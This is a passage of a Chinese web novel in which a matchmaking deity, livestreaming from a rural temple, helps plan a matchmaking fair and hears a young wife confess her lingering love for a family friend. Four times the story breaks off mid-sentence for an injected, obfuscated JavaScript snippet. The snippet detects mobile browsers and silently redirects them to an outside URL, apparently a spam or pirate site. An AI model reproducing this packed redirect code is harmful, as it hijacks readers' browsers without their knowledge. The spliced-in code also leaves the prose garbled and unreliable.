后院中,厨房在最西侧,其余几间便是住处和餐厅等。此时,当中的一间房门大开着,刚刚袁胜带他们走过时,有两位庙中人员就在那屋里坐着。 莺芝两人还没走近,交谈的声音便从其中飘了出来。 男声女声都有,时而还掺杂着一些笑声,显然相谈甚欢。 “老哥,晚上记得把我刚带回来的那一条嫩肉炖了啊,我老婆馋肉好几天了,再不加一餐,她都要饿瘦了——” “哎呦,合着你自告奋勇下山去采买,是为了给老婆夹带点啊?” “那是,不然谁乐意这么累死累活还爬上爬下啊,又不能直接把车开上来——宝宝,这回不用到半夜又因为没油水饿醒了吧?” “……说什么呢你。” 听了一耳朵他们的交谈,莺芝二人也走到了房门口。 文隽屈指敲了敲开着的门。 “诶,正想着你们呢,你们就来了。”见到他们两人的身影,袁胜眼睛一亮,朝门口招了招手,“快进来坐,这蜜瓜可甜了,先吃点——怎么不休息会儿?” 莺芝从善如流走进,微笑道:“我们毕竟不是真的只是来游玩的,合作上的细节还是早点商量完,也能早点放心。” 袁胜笑道:“是这个理,你有这份劲头,我也高兴啊,看来是真的没找错人——先坐先坐,刚好大家伙都在,咱们慢慢谈,集思广益嘛。” 莺芝没有拒绝,找了一张空位坐下,文隽则在她身边入座。 面对周围几人各异的视线,袁胜呵呵道:“来,给你们介绍一下。这两位刚才在前头见过了,这是安兄弟,经常来我们这儿做义工——这位是庆兄弟,旁边那位是他的妻子,姓孟,两口子刚结婚没多久,来我们这儿小住一阵子。” 莺芝随着他的话音向被他点到的人看去,几人也都朝她看来,莺芝带着礼貌的笑逐一点头以作招呼。 随后,袁胜又指着另外两个和他一样穿着长衫的一男一女道:“老金和阿平,庙里的老人了。最开始说让试试网上宣传的,就是老金。” 莺芝又跟这两位互相点头致意。 袁胜介绍完,才回过头来,跟其他人道:“这位是小莺,一个很多粉丝的主播。旁边是,呃……” 文隽放下吃了半块的蜜瓜,补充道:“——她的助手。” “哇塞,主播啊?”那对夫妻中的男性感慨了一声,看向莺芝的眼神中颇为好奇,“还没见过活的主播呢……主要是播什么的?多少粉啊,有我媳妇粉丝多吗?” 他身边的女性拉了一把他袖子,有些不大好意思又有些抱歉地对莺芝二人露出了个笑容:“你们好,我是孟书越,叫我小孟或者是书书都行,这是我丈夫,段庆之——他说话有点不过脑子,冒犯到各位真是不好意思……” 孟书越看上去也就二十多岁的年纪,穿着合身的棉布长裙,长发编成了麻花辫,扎着头巾,比起只能说是清秀的五官来说,她身上那股水一样温和内敛的气质则更为引人注目,整个人透着股知性的美。 莺芝道:“孟姑娘也是一位主播吗?” “她不是。”段庆之没在意孟书越跟别人说自己“不过脑子”,一把揽过孟书越的肩膀,笑嘻嘻道,“我媳妇是个作家,出版过好几本书了,有很多忠实读者。厉害着呢。” 孟书越动了动身体,从他怀里挣出来,笑容中透出些无奈,理了理鬓发:“没有很厉害,也就是混口饭吃……小莺是做什么方面的直播的?我听胜大哥的意思,好像是特地请二位来的?” 一直没怎么加入他们对话的“安先生”安显礼开了口,他看了看莺芝,道:“我好像见到过。” 段庆之一愣:“你这从不刷直播的人都见过?那她岂不是很火了?” 文隽吃完了瓜,从口袋里拿出张洁白的巾帕擦拭着手指,斯斯文文道:“是很火,多的时候直播间也就几十万同接吧。” 段庆之愕然:“这么牛?”他又看向袁胜,“胜老哥,你请来这么厉害的人物啊,花费不少吧?” 袁胜呛咳一声,哈哈笑着,没接话。 莺芝狐疑地觑了眼文隽,总觉得他和平常不太一样,在接话方面有点过于积极了。 她先是回答了孟书越的问题:“我是,嗯……玄学?方面的主播。”然后摇了摇头,“不要钱。只要负责食宿即可。” 饶是孟书越也惊讶了:“只负责食宿… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090896|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …那不是和我们一样了?” 从莺芝他们到来后就没再插入过他们对话的阿平闻言笑道:“小莺姑娘是来帮忙的,确实也差不多。” 段庆之却嘀嘀咕咕道:“不一样吧?咱俩来主要是顺道度个蜜月——这儿山清水秀的,远离都市,调整一下作息,体验体验质朴生活,多多呼吸新鲜空气,还能再拜拜送子娘娘求个儿子……不都说这里灵么。那你看,咱们两边目标都不一样,哪能一起论啊。” 听他这么说,孟书越似乎有点不大自然,但那点情绪一闪而逝,很快被她压下去:“也是……我们是来有求于这座庙的,小莺他们是来帮助庙的,确实不该一起论。” 看他们来回说了几句,没了最初的生疏感,袁胜笑呵呵出面,接过了话头: “那既然这儿都是自己人,咱们就一起聊吧——小莺,你这几天的直播就以我们这寺为背景吧,能多少帮我们提几句,宣传宣传,带点热度就行。让大家伙知道知道,我们这儿有个求子很灵验的惠恩庙。” 眼看天色渐晚,晚饭的点、也就是莺芝每天的直播时间就快到了,他搓着手,一拍胸膛: “这儿扯不上来无线网,但是我们几个都有流量,能给你开热点播,虽然有点卡,但是也能用——其他的要求的话,你看有什么需要我们配合的,像是搭个场子啊什么的,我们都没问题,就算稍微有点难度的也没关系,你尽管提——除了我们仨,这不还有三位义工嘛,都能来帮忙。” 闻言,老金阿平也都纷纷点头。 身为义工的三位慢了一步理解这些话里的含义,但很快,他们也都认下了这份“工作”。 众人都看向莺芝二人。 莺芝神色自若,噙着笑道:“没什么需要特别准备的,不过……要是想惠恩庙不仅仅作为背景出场的话,我有一个提议。” 袁胜:“什么提议?” 莺芝温声温气答:“可以筹备一下,在附近村庄中宣传告知,惠恩庙几天后会有一场‘相亲宴’。” 文隽也是初次听她提起这个想法,但略一沉吟后,他便像早就知道这个“计划”般,很自然地补充道:“可以当做是个小型庙会来办,稍微宣传一下,会有人来的。且可以告知他们,来者即可免费领取由神仙祝福加持的手串或护身符等。” 老金有点懵:“可是,我们上哪弄神仙祝福的手串护身符啊?” 莺芝迅速理解了文隽的意思,心中也是一动,听老金发问,她笑着看了看在坐的人:“手串嘛,用绳子编就好。” 而且又不是当下就要办,有好几天的准备时间。 袁胜却已经想通关窍,眼睛越来越亮:“能行!” 人,尤其是村儿里闲的没事的人,都是喜欢凑热闹的——要是这次小“庙会”能办成,说不定之后还能把这个当成一种“习俗”继续办下去呢。 如今有小莺这个能稍稍牵头的,噱头也有,直接就跟大家伙说,有神算子在这儿坐镇,相亲成了的刚好能算姻缘,这不妥妥的么? 而且流程和准备上也都不需要太麻烦,本来就是个小地方,开个小会而已—— 他当即拍板:“成!” 段庆之却是有点糊涂。 “不是,怎么就相亲起来了,这不是送子庙吗?”他看向莺芝,“你到底是哪边的玄学……” 莺芝微微一笑:“大抵属于姻缘方面吧——需要我帮二位算一卦吗?” 25. 第 25 章 听闻莺芝如此说,在场众人都是一愣。 一般情况下,拿学画画或学表演的人来做例子,不都特别讨厌平时有事没事会随便被人拉出来“画一个看看”“表演一个呗”的吗? 这小莺怎么还主动提起这茬啊,她都不介意的啊? 旋即,阿平便是有点激动: “诶,也是哈,我们都还没当面看过小莺算卦呢,一直都是网上看,还真有点好奇!” 老金也来了兴致:“这是打算给我们亮一手吗?也好啊,让我们长长见识,都说可准了。” 段庆之刚回过神来,便听到他们的起哄,顿时有些尴尬。 “算什么……姻缘?可是我跟我老婆已经结婚了啊,不需要算了吧。” 孟书越原本有些意动,但不知想到什么,听到他这句话后,脸上也有些难色,没有立即答话。 一整桌,除了她以外,安显礼和文隽也因没有开口而显得有些沉默。 袁胜把众人反应收入眼底,乐呵呵道:“哎呀,新婚夫妻,要是算个圆满也还好,算出来其他的话那多伤感情啊!这是蜜月呢,你们俩就好好过你们自己的呗,不要跟我们抢这珍贵的机会,小莺的一天三卦名额可难抢呢——来来,要不,给我算算?” 明显是出来打圆场的,众人都心知肚明。 莺芝也没坚持要给段庆之他们“算”,只是笑着望了袁胜一眼:“算什么?” 袁胜笑道:“就,算算我的正缘在哪,什么时候在哪能碰到?我看你跟别人说的时候都可详细了。” 莺芝神色不变,笑容温和:“你的正缘就在你身边,是你一直没有看到,如果有心,随时能成——没什么好算的。” 这下,轮到袁胜发愣了。 其余几人都也一呆。 最先反应过来的是端着水杯的老金,他“噗”地喷出口水,旋即擦了擦嘴,一脸不可置信。 “不是吧,老袁是真没感觉到?” 袁胜迷茫:“感觉到啥?” 老金失语:“——不是,就,你……” 旁边,阿平已经尴尬得有些讷讷了,她干咳一声,狠狠瞪了一眼身边的老金,起身朝外走去。 “该准备晚饭了,我去准备准备。” 只是步履匆匆,背影怎么看怎么有些狼狈。 孟书越“啊”了一声,从阿平离去的方向收回视线,“原来如此”地看向袁胜。 袁胜越发迷茫。 段庆之也反应过来了,他惊讶地看着袁胜:“不是吧老哥,你这么迟钝?” 老金被瞪了一眼,但此时瞪他的人不在,他便也无所顾忌起来,摇头唏嘘: “阿平从小跟你一起长大,你不会就真把她当妹妹了吧?她几个哥哥之前还说把她接走,给她在城里安排个工作呢,她愣是要留下,合着你真就没一点察觉啊——真以为她留下是为了你这破庙?你这东西,亏我还一直以为你是揣着明白装糊涂,想等条件好点了再跟她提,毕竟咱们这儿谁看不出来啊——你问问小安,看他看得出来不?没想到就你是真不知道啊……” 安显礼:“阿平姐的确已经表现得很明显。” 袁胜:“……” 他总算是明白过来这群人在说什么了。 他呃呃半晌,一向左右逢源的嘴这会儿却说不出一句话来,只能求证什么般望向莺芝。 莺芝笑而不语,只微微一颔首。 袁胜:“……” 他沉默了一会儿,终于不再跟众人打哈哈,起身朝外走去:“……那什么,人有点多,饭不好做,我去搭把手哈。” 大厨老金在位置上岿然不动:“赶紧去,晚上没个七菜一汤我可不吃。” 袁胜啐了他一口,急匆匆去了。 众人又都笑起来。 孟书越有些感慨地收回视线,看向莺芝:“小莺果然是红娘。” 这刚到,就已经促成了一对姻缘。 莺芝却笑着摇了摇头:“也不是这样,属于他的姻缘早就在身边,他看不到,却不影响它的存在,或早或晚,总会水到渠成的,我只不过是提前点出了而已。换个人来做,也一样的。但有些却不一样。” 她停顿了一下,又微笑道,“有些缘,如果不是找我来看一下,是好是坏,不定是两说。” 这话就有点微妙了。 孟书越表情立时便是一僵,有些进退两难的尴尬。 “你这人,怎么这么莫名其妙,生意这么差的吗,拉客都拉我们脸上来了,不赚我们这一卦的钱难受?” 段庆之更是直接黑了脸,“跟那种路边支个小摊拉着人就说人家印堂发黑有血光之灾的有什么区别。” “那还是有点区别的。” 文隽笑道,“最起码他们说有血光之灾,不一定真有。但小莺说是孽缘的,绝对不会是好缘分。” 被他抢了话,莺芝眨了眨眼,没有再开口,捏了捏耳垂上又晃动起来的红绳,转而扎起一块蜜瓜,小口吃了起来。 气氛又一次凝滞,留守的老金揉了揉后脖颈,有点生疏地打圆场:“好了好了,小莺今晚还直播吗?还是我们再聊聊相亲会的细节,然后跟我去看看仓房有什么能用得上的?” “不播了,聊聊后续细节,然后去看看库房吧。”莺芝道。 见她接了台阶,老金如蒙大赦:“好好好,我们走,边走边说。” 莺芝起身,文隽也收起手帕,跟着站起。 三人一行离开了屋子。 遥遥的,莺芝听到身后房间里依稀传来的对话声。 “显礼哥,你说的这地儿到底靠不靠谱啊,突然搞来这么个人,总觉得有点渗人……” 是段庆之。 安显礼的声音有些沉:“别想太多了。” 段庆之应该是听进去了,没再继续执着这个话题:“既然你都这么说了——我们带回来好多东西呢,你去买菜的时候,我发现了一家私家酒坊,专门去淘了瓶好酒,显礼哥,晚上喝点啊。” 孟书越声音温温柔柔的:“……别喝太多了,对身体不好。” “哎呀,我知道。放心,主要是显礼哥好这口,我喝不了几杯的——我去看看胜老哥那边咋样了,交代一下让他们给添两道下酒菜。” “安哥胃不好,也要少喝……” “好。” “……” 莺芝摇摇头,收回了注意力,没有再继续关注。 老金带着他们到了库房,发现没带钥匙,于是回房间找了,留他们在这里等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099848|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 身边,文隽低声开口:“为什么想要给他们‘算卦’?” 莺芝抬眼,有点无奈:“还没问你呢,为什么这么积极?” 文隽理了理外套的袖子,很坦然:“下来玩嘛,瞧见什么有意思的总会想要加入一下的。” 莺芝轻轻叹了口气:“我……不想放任不好的缘在我眼前,我却对它视而不见。这会带来伤害。” 文隽失笑:“你是不是把自己想得太万能了?” 莺芝一怔:“……嗯?” “神仙也不是万能的,就算是你职责内的——这世间众生万万,你又怎么能保证每一桩婚都美满?你看财神殿,那么多人求他们保佑,保佑自己暴富发财,这世间不仍是有那么多穷困潦倒之人么。” “我知道,可……” 莺芝沉默了一下,换了个说法,“即便不为了我自己怎么想,就只说工作,我也应该努力地让每一个对姻缘还抱有希望的人拥有一个好的结果吧?这是我们姻缘殿的业绩呢。” “你要是这么说的话,”文隽悠悠地道,“那还是看财神殿吧,那么多对一夜暴富求而不得的穷苦人,影响他们殿的排名了吗?” 莺芝:“……” 倒也是这个道理哈? “人各有命,世间万物都有自己的命数,因果循环,他们会有怎么样的结局,其实还是要看他们自己。我们能起到的作用很有限,最多也就是接收到他们的祈愿后帮忙推波助澜一下罢了。如果崔梦语自己看不清,董银灵直接认了命,那也没有现在了。”文隽说着,“何况,他们这都没求到你这里来呢。不是么?” 莺芝默了片刻,点了点头。 “也对。” 就像那个算命的男人,明确的机会在前,仍然选择错过,莺芝作为姻缘仙,也不能强行把人绑到一起。 不过…… 她疑惑看向文隽:“你怎么还知道董银灵?” 她不是只在最初被封禁的时候跟他提过崔梦语么。 文隽一顿,稍稍偏开了一些视线:“嗯……我有个朋友,办公的时候喜欢放一些背景音,你的直播他总是放,我也就知道一些。” “还有神仙看我直播……”莺芝讶异,却也难掩欣喜,“那之后帮我引见一下呀,做个朋友。” “——久等了吧,来了来了!” 老金人未到声先至,还离着好几米远,就哎哟了起来:“这库房钥匙在老袁那儿呢,我看他俩聊完了才好意思进去拿。走走走,这就进去!” 莺芝注意力被分散,和老金交谈起来。 文隽无声松了口气。 …… 库房里有一些陈旧的桌子,彩布,几束红绳,还有些不知道什么年代囤积的有点褪色的红纸等,都被归置了出来。 晚饭期间,众人汇聚一桌,虽然才有过小小的口角,但有已经恢复如常的袁胜活跃气氛,整体来说还算愉快。 吃过饭,莺芝简单教授了一下“红绳”的编法,众人领了绳子便各自散去了。 入夜,莺芝编着红绳,门却突然被敲响。 红线小人一慌神,立刻原地在绳子堆里躺下。 门外,一道放轻了的声音响起: “……小莺,在吗?” 26. 第 26 章 没有讶异为什么这个时候还会有人突然上门,莺芝停下手中动作,看向门口:“我在,请进。” 嘎吱—— 有点年份的门扉合页已经陈旧生锈,即便来人动作已经被被特地放轻了许多,但在推动时仍然不可避免地发出声响,在黑夜中尤为清晰。 门扇徐徐打开,露出站在门边的人。 纤细的身形裹在质朴清新的棉布长裙中,孟书越的脸庞在屋中略现昏暗的灯光下,愈发有些含蓄秀雅的楚楚可怜。 她手中拿着一个小小的竹筐,里边放着晚饭后大家集体发下去的红色绳子。 四目相对,她笑容沉静内敛,仿佛一朵角落中兀自绽放的花,腼腆安和。 “我没有学明白,你能再教教我吗?” 莺芝点头:“自然。” 孟书越带上门,脚步轻盈地走进,在莺芝身边的空余椅子上落座。 她扫过莺芝桌上一簇已经编好了的红绳,“呀”了一声:“这么多了?你编的好快。” “熟练了之后就会很简单了。”莺芝道。 孟书越笑笑:“是我手太笨了,手工类的东西从小就做不好……” 莺芝没有附和,重新拿了一根绳子起来:“从头开始吗?” 孟书越连忙点头:“嗯,好。” 两人一来一回再次教学了一番,孟书越恍然大悟。 “这么看下来,我好像有点懂了……”她拿着绳子比划了几遍,“我可以在这里坐一会儿吗?有什么不懂的也好问你。” 莺芝颔首:“当然可以。” 孟书越脸上绽开笑容:“谢谢你呀——庆之和安哥说去跟袁大哥他们喝酒了,我刚好嫌屋子里有点冷清呢。” “对了,”她想到什么似的,语气微微正了一些,“我替我丈夫向你道歉,他其实人不坏,就是说话有点,嗯……有点冲,但其实也不是针对谁,是他脾气就那个样子。你可不要放在心上,和他一般见识啊。” 莺芝无所谓地笑了笑:“好。” 孟书越微微松了一口气,垂下眼去认真编着手中的绳子。 莺芝也没有说话,无声地做着自己的事。 她感受得出来,对方还有话想说,只不过态度很犹豫。 不过莺芝也不催促,更不打算打探,文隽傍晚的话还犹在她耳畔——各人有各人的造化,少管他人事,才是她当下需要修行的。 屋内气氛一时静寂,两人就这么坐着,唯有小飞虫偶尔飞入灯罩,被燎得噼啪一响。 “其实……” 孟书越的声音在寂静中也不显突兀,只是其中的欲言又止之意简直呼之欲出。 莺芝手中动作一顿,抬眼看向她:“怎么了?” 孟书越避开了她的视线,手指无意识缠了红绳绕两圈,踌躇半晌。 莺芝就这么安安静静地等待着。 终于,孟书越下定决心般轻轻呼出一口气。 “我……我有偷偷搜索你,所以我知道,你是一个很厉害的人,你说‘是坏的’……我也知道是为什么。” 再看向莺芝时,她的语气已经释然了许多,“其实这些话憋在我心里,我也有点难受,说出来的话,会好受很多。” 莺芝放下手中红绳,做出了个倾听的姿态。 “……我对不起我丈夫,我知道。”她闭了闭眼,像是对着神仙的使者忏悔一般,诚实地,坦然地,将自己的罪定下。 最初难以开口的部分已经过去,孟书越没有再支吾犹豫,只是语速有点慢:“我和安哥……啊,就是安显礼——我和他认识许多年了,两家是世交,父母关系也都很好。我们自小开始,上学什么,都是在一起的。我一直以为,我能和他水到渠成地在一起……很耳熟呀,是啊,就是像袁大哥和阿平姐那样。” “但,不一样的是,安哥和袁大哥不一样……”孟书越扯了扯嘴角,笑容有点苦涩,“安哥根本不喜欢我,他自始至终都只把我当做‘爸妈朋友的女儿’,即便有一个红线娘娘,来把我们之间的关系挑明,他也不会像袁大哥接受阿平姐的心意、也看清自己的心意那样,接受我,因为他其实很明确他自己的心意,就是不喜欢我而已。” “但最开始,我心里总是抱有一些不切实际的幻想的。因为他一直单身,所以我就觉得,我可能会有机会。毕业之后的这么多年里,家里人各种催婚,我都顶下了压力,说什么没让他们安排相亲。我以为,我的心意是可以经得起时间的考验的。” 孟书越视线有些飘,似乎到了记忆深处: “直到去年,新书签售会结束后,我回家的路上,被一个陌生男人跟上了……那天还下着雨,那个男人穿着雨衣,就那么紧紧地跟在我后边,天有点暗,我看不清他,但是我能肯定,他绝对是在跟着我,因为我刻意绕了好几条人多的大街,都没把他绕丢。后来,我还特地带着他去了安哥的工作室楼下,我知道,安哥经常加班,我应该是想要让他来救我的。但是,到了楼下我才发现,灯是黑的……” 孟书越轻轻呼了一口气,看向莺芝:“你知道吧,那种,突然间觉得全世界没有一个人能帮自己的那种感受——就是,整个世界都是洪水,而唯一能够解救自己的木筏,却在自己终于游过去时发现,它早已经离开了。” 作为一个无论真身还是人形,都跟“游泳”完全搭不上边的存在,莺芝其实不大懂这个过于文艺的比喻,但她作为倾听者,还是配合地点了点头,以便对方继续说下去。 孟书越的语气中也终于多了些起伏:“我感觉世界都昏暗了,我真的以为我要死定了。” “这时候,一个人从楼梯口走了出来……他走到了我身边,很大声地说,‘你终于来了啊宝贝,我等你好久了,晚饭想吃点什么?我给你做’——我根本不知道他为什么要帮我,也不知道他是谁,但,我还是很可耻地接受了这份帮助,因为对于那时的我来说,他的出现,无异于是天神下凡。应该是看到我和一个男人走在了一起,我回头看的时候,发现那个人转身离开了。” “那个人就是我现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125684|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丈夫。我有问过他为什么会帮我,为什么看得出来,我需要帮助。他说——‘你哭得太惨了,妆都花了’……是不是很气人?” 孟书越又笑了笑,笑容里有些愧疚,有些无奈,也有些温柔,“总之,在之后,他和我表达好感的时候,我同意了。” “再然后,得知他家里也催婚,我家里也催婚,我们就很自然地去领了证,办了婚礼。虽然有点赶,但这对我们都是一个正确的选择。毕竟……”她顿了顿,似乎想要绕开接下来的话,但停顿片刻后,又自我审判一般,坦诚道,“对我而言,白月光始终是白月光,即便我并不爱他,但我和安哥已经不可能,为什么不能选择认清现实呢?” “他家里人对我也很好,彩礼嫁妆全给我自己拿着,房车也都有,家庭条件好,也不吸女方血,更不多事非要闹着住一起什么的……除了会催着要孩子,有点陈旧封建以外,简直就是完美公婆。但,要个孩子传宗接代,这也是大多数长辈的思想……他们对我都那么好了,我这样的人,的确不该奢求太多。” 直到此时,一直旁听的莺芝才开口,她询问道:“你们来到这里‘度蜜月’,是为了孩子?” 孟书越垂着眼睛:“嗯,是。这还是安哥告诉我们的,说他偶尔会来这里做义工,我知道他经常会离开家到处跑,想找个清净的地方,但不知道是这里。是他在听我和庆之提到在备孕时,提了一句这里很灵验,我和庆之才有了过来看看的想法。” 说到这里,她终于是放下了手里被搅成一团的线,重新抬起了头:“我知道,我这样,说句不好听的,就是吃着碗里的看着锅里的,是三心二意、是朝秦暮楚,从精神层面来说,我对婚姻不忠,我对不起我的丈夫。所以,我并不敢让你帮我算姻缘。因为我担心,担心我现在的这一切会被那个未知的结果破坏,我也担心……我的父母,我的丈夫,我的公婆,我的读者……甚至于安哥,因为我的不切实际的妄想,而遭受不该遭受的伤害。我更难以想象,他们会以什么样的目光看我。” 莺芝没有打断,听她把想要说的所有都说完。 “我很差劲,明明该死心的,但又犹豫不决,左右摇摆,最后只能随波逐流,被所有人推着往前走。可……我真的下不定决心,不知道该怎么办。小莺,我其实也很想知道结果,我有想过,之所以让我遇到你,是不是就是证明,这是上天给我的一次悬崖勒马的机会……但我真的怕,我不敢。” 孟书越眼中氲着浓浓的祈求之意:“所以,能给我一点时间吗?给我一点时间,让我想清楚,如果真的需要,我一定会来找你帮我算一算的。” “在那之前……能不能求你帮我保密,不要主动告诉他们。” 莺芝轻轻叹了口气。 对于孟书越的请求,她未置可否,只是思索了片刻,而后问道:“如果段庆之找我问姻缘呢?” 孟书越微微怔住,旋即,她一咬牙,眸中划过坚定: “那就告诉他吧。” 莺芝笑了:“好,我答应你。” 27. 第 27 章 所谓的“相亲会”的准备,也无外乎就是相关所需桌椅摆设等的预备,深入群众的宣传,以及至关重要的、直接关系到这场小会是否成功的环节——“相亲”的流程及过程。 不过这最后一个内容,基本上是全由莺芝本人负责,到时候有她坐镇,只要她不出什么岔子,就不会有问题。 当面的观缘要比隔着网络更加准确、消耗的仙力也要更少,何况对于一位司掌着世间姻缘的神仙来说,即便不进行观缘,哪怕只是擦肩,也能隐约察觉到一些诸如是福是祸、是好是坏之类的倾向来。 对她来说,这一环节基本是万无一失的。 而场地的铺设,物品的准备等,虽琐碎,但只要认真仔细,便也不会出什么问题。 所以综合来看,宣传,反倒算是这所有环节中最困难的一部分了。 好在惠恩庙中的这些人原本就都和周围村子里的部分村民关系还不错,袁胜他们几个分别在社交账号上找了几个相当外向的好友告知此事,不用他们开口请求,那些村民们便非常热心地拍胸脯保证绝对给“拉来好多人”——“发动群众”的力量后,宣传部分也算是有条不紊地开展了起来。 接下来的几天里,莺芝也在直播时特别提到了关于自己会在某天进行线下活动的事,并且她还为此特地开了几场在白天的直播,带领大家看了看惠恩庙,并深度参与了她为此做出准备的过程。 直播间观众们都是有些新奇—— 就目前而言,小莺从最初的出现到现在,那是从来都没有提及过线下的什么事情,就连算卦,也都是保证每天只有三卦晚了就没了的原则,即便土豪们加钱都不行,整个人都有一种“远离现实”的高人风范,没想到现在竟然要参加线下活动了…… 于是,在这些天里,确认了莺芝确实是在一家叫做惠恩庙的庙宇中后,先后有好几拨距离茂城不算远、或干脆本身就在茂城的观众和粉丝,根据莺芝给出的地址找上门来“观光”。 为此,惠恩庙三人小队即便在外出宣传的紧迫期,都不得不轮番留下一个人来看着庙宇、接待来客,真叫一个又欢喜又忧愁。 至于到场的粉丝亲眼见到莺芝在这儿之后,有多高兴和兴奋自不必多提。莺芝也对每一位粉丝和观众合影的要求来者不拒,笑容得体地应对着所有来客。 好在大家也都知道,莺芝一天三卦,而且都是在特定的直播时才会进行,便也没有多少人失了分寸,见了面就要求她给算卦的。 于是乎,直播间里,更多的观众们都眼睁睁看着,原本在好好编绳子的莺芝身边,硬是挤进来了一些莫名其妙的人,不仅喊着和莺芝一起为接下来的活动做准备,还要莺芝也教他们怎么编红绳—— 好家伙,这还得了? 这些人在小莺身边赖着不走也就算了,万一到时候他们也到了现场,求到了红绳,结果不是红线女神编的,反而是他们这些人编的,没有任何效果不说,连单纯地纪念意义也都没有,那岂不是要怄死了! 原本就有到时候也来这儿赶赶热闹的观众们这下再也忍不了了,当即便调整安排,尽量早些到惠恩庙来。 那些已经到了的部分粉丝,在见到段庆之安显礼他们后,也有直接询问惠恩庙留守人员、要怎么样才能做义工的。 袁胜他们只能苦笑着告知,小庙用不了那么多义工,想要为之后的活动帮忙他们很欢迎,也可以管饭,但住的地方实在是安排不下了。 有此,粉丝们才歇了和莺芝住到同一屋檐下的心思。 而有了这部分观众实地到场的repo,群里到处发的合照,莺芝每天的直播,更多的人不可避免地也都生出了到时候来看看的念头。 至于这所谓的惠恩庙到底供的是送子娘娘还是月老——无关紧要! 又不妨碍大家凑热闹 这几天里,袁胜和段庆之等人才真正意义地认识到,现在这个大环境下,一个拥有许多粉丝的网络红人,具有什么样的影响力。 几人这些天忙得脚不沾地,连带着也沾了个“义工”身份的孟书越,这个本来更喜欢宅在屋里专心创作的作家,都不得不连轴转地在庙里各种忙碌。 “你今天还是不用出门吗?”莺芝微微偏头,看向桌边坐着,一边听说书一边编红绳的文隽。 没记错的话,这人最近一直在庙里吧? 文隽坐得坦然,从容地编着绳子,手指竟也灵巧无比:“我是你的助手,自然要在你身侧,万一你直播时需要什么,我当然不能不在。” 桌上,正抱着根红绳艰难编着的红线小人原地跳了起来:“我才是月仙大人的小助手,我看你就是想偷懒吧!” 文隽笑而不语,只做着自己的事。 他不反击,红线小人觉得自己说中了,对方或许也可能在心虚,于是端起了架子,开始教育这个落后仙殿的小小神官。 组成它身体的红线抖啊抖,它哼哼着:“——送子殿都是你这种神仙的话,那难怪要这么落魄了,多向我们月仙大人看齐啊!” 文隽便配合地颔首,认真应是:“你说得对,你们月仙大人确是天庭众仙神之楷模,我们这些只知道偷懒的蠹虫都要好好学习才是。” 红线小人更高兴了,红线连连抖动。 莺芝又想笑又无奈,她摇摇头,制止了一人一线这么个交互:“好了,我都听不清说书的内容了。” 屋内方才又安静下来。 …… 日子在紧张匆忙的准备中飞快流逝。 预定的“相亲会”终于到来。 自辉林山脚往上,抵达惠恩庙的道路早已经被清理出来,而从木板道与台阶的连通处始,一层稍有褪色之意的红色毯布铺在地面,直通惠恩庙正门口。 不少带着塑料袋编织袋的附近村民结伴走在其上,这部分人以上了年纪的和中年居多,身边还带着些小孩,但也有一些一身轻便什么也没带的年轻男女混在里头,穿着打扮俱皆精致,看起来不像是参加村落间的什么小活动,反倒像是来踏青旅游一般。 对他们而言,此行或许真的不是来相亲的,也不是看什么姻缘,就只是从繁忙的工作生活中偷个闲,来凑凑热闹,现场看看自己追看关注的主播而已。 早早吃过早餐,众人各自领了职责散去,投入到了一天的工作中。 三位义工各自分散,负责做各位来客的接引人,帮助他们熟悉活动流程、庙中布局等,也顺便能为大家介绍一下惠恩庙的情况,这几天里他们没少被袁胜耳提面命地灌输和学习。 老金阿平两人分居庙后和供有神像的殿中,袁胜则在特地给莺芝搭好的位置边上候着,在稍后的“相看”以及发放红线等流程中做辅助和维持秩序的活计。 为了给到大家一个沉浸式的体验,除了三个义工,庙中的工作人员以及莺芝他们都换上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136858|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了符合身份的着装。 莺芝今天要扮演的是一个红线娘娘的身份,换个称呼的话,说是过去民间常说“冰人”、如今大家口中的“媒婆”也可以。 